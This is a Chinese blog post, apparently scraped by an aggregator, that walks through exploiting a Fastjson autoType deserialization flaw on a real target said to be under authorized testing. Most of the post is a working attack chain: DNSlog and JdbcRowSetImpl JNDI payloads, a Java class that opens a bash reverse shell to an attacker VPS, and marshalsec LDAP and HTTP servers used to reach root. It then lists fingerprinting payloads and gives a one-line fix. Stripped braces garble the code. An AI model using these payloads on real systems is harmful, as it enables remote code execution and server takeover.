Fastjson反序列化漏洞复现(实战案例)
Posted @A1
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Fastjson反序列化漏洞复现(实战案例)相关的知识,希望对你有一定的参考价值。
漏洞介绍
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
前言
以下为有授权测试,未经授权,千万不要触碰法律。
拿到项目后找到了一个后台登录的页面,然后尝试弱口令(yyds)无果
抓包尝试是否存在注入,这里看到是json请求,就尝试去构造或者破坏原有的json请求,从返回的数据包中可以看到有fastjson字样,如果没有报错回显,就使用dnslog进行验证(后面会说到)。
尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:
Set["@type":"java.net.URL","val":"http://dnslog"]
Set["@type":"java.net.URL","val":"http://dnslog"
网上查了一下此版本存在漏洞
使用dnslog验证
payload
"a":
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
,
"b":
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn/zcc",
"autoCommit":true
验证成功,说明存在漏洞,这里也可以用到bp的插件,fastjson scan 一键检测,傻瓜操作,github自行搜索一下
反弹shell
使用工具:GitHub - mbechler/marshalsec
vps下载完成后进入目录下进行编译
mvn clean package -DskipTests
(第一次自己进行编译,这个过程中遇到了很多问题,就不一一细说了,如果遇到问题的小伙伴多看报错信息,或者私信我也可以)大佬无视。
编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar
新开一个窗口监听端口
root目录下新建一个test.java文件,里面写入EXP源代码
// bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test
static
try
Runtime rt = Runtime.getRuntime();
String[] commands = "bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1";
Process pc = rt.exec(commands);
pc.waitFor();
catch (Exception e)
// do nothing
javac编译生成test.class文件
再新建一个窗口,启动http服务
python3 -m http.server 8445
本地访问一下,可以看到生成的class文件
vps启动LDAP服务,监听1389端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389
返回burp构造payload反弹shell,可以看到已经是root权限
"a":
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
,
"b":
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://vps:9999/xxx",
"autoCommit":true
fastjson指纹信息
A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法
B.利用dnslog盲打
1. 利用java.net.Inet[4|6]Address
"@type":"java.net.Inet4Address","val":"dnslog" "@type":"java.net.Inet6Address","val":"dnslog"
2. 利用java.net.InetSocketAddress
"@type":"java.net.InetSocketAddress""address":,"val":"dnslog"
3. 利用java.net.URL
"@type":"java.net.URL","val":"http://dnslog":"x"
4. 其他变形
"@type":"com.alibaba.fastjson.JSONObject","@type":"java.net.URL","val":"http://dnslog”"" Set["@type":"java.net.URL","val":"http://dnslog"] Set["@type":"java.net.URL","val":"http://dnslog" "@type":"java.net.URL","val":"http://dnslog":0
1.2.67版本前
"zeo":"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"
1.2.67版本后payload
"@type":"java.net.Inet4Address","val":"dnslog"
"@type":"java.net.Inet6Address","val":"dnslog"
修复建议
升级到官方最新版本!
以上是关于Fastjson反序列化漏洞复现(实战案例)的主要内容,如果未能解决你的问题,请参考以下文章
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤